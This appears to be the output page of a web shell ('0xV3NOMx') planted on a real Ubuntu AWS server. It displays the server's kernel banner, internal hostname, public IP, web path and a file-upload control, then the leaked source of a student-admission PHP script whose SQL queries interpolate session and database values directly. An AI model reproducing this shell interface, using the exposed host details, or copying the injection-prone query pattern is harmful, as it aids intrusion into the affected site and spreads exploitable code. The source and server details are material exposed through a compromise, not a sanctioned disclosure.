0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.191.91.15


Current Path : /var/www/html/pget/pgetadm/
Upload File :
Current File : /var/www/html/pget/pgetadm/app-status.php

<?php

function getAppStatus($aobj_context) 
{
	session_start();
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

	  $query = "select fname, fmobileno, fappno,IFNULL(fpaystatus, 'PENDING') as fpaystatus, 
	  fpaydate, IFNULL(fpayid, 'PENDING') as fpayid 
	  FROM entstudadm where fmobileno = '{$_SESSION['MOBILE']}'";

	$obj =  $aobj_context->mobj_db->GetAll($query); 

      $result ="";
      $result->obj1 = $obj;
      $result->obj2 = DisplayAppStatus($aobj_context);

    
	if(count($obj) > 0) {
		echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); 
	}
	else {
		$arr['msg'] = 'Error in fetching Application Details.';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
	}
	return;
}

function DisplayAppStatus($aobj_context) 
{
	session_start();
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

	$query = "select fname, fmobileno, fappno, fpaystatus, fcreatedate, IFNULL(fpayid, ' ') as fpayid FROM 
	entstudadm where fmobileno = '{$_SESSION['MOBILE']}'";
     $result =  $aobj_context->mobj_db->GetAll($query);

    

     $fappno = $result[0]['fappno'];
      
	  $query = "select  distinct ed.fdegree as degcode,CONCAT (ed.fdegree, ' - ', d.fdescpn) as fdegree, 
	  IFNULL(ed.fstatus, ' ') as fstatus 
	  FROM entoptdeg ed inner join entdeg d on ed.fdegree=d.fdegree 
	  where ed.fappno='{$fappno}'
	  and ifnull(d.fdeleted,'') <> 'T'";

	$obj =  $aobj_context->mobj_db->GetAll($query);
	

	if(count($obj) > 0) {

         return $obj;
		//return  $aobj_context->mobj_output->ToJSONEnvelope($obj,0,"success"); 
	}
	else {
		$arr['msg'] = 'Error in fetching Application Status.';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
	}
	return;

	
	
}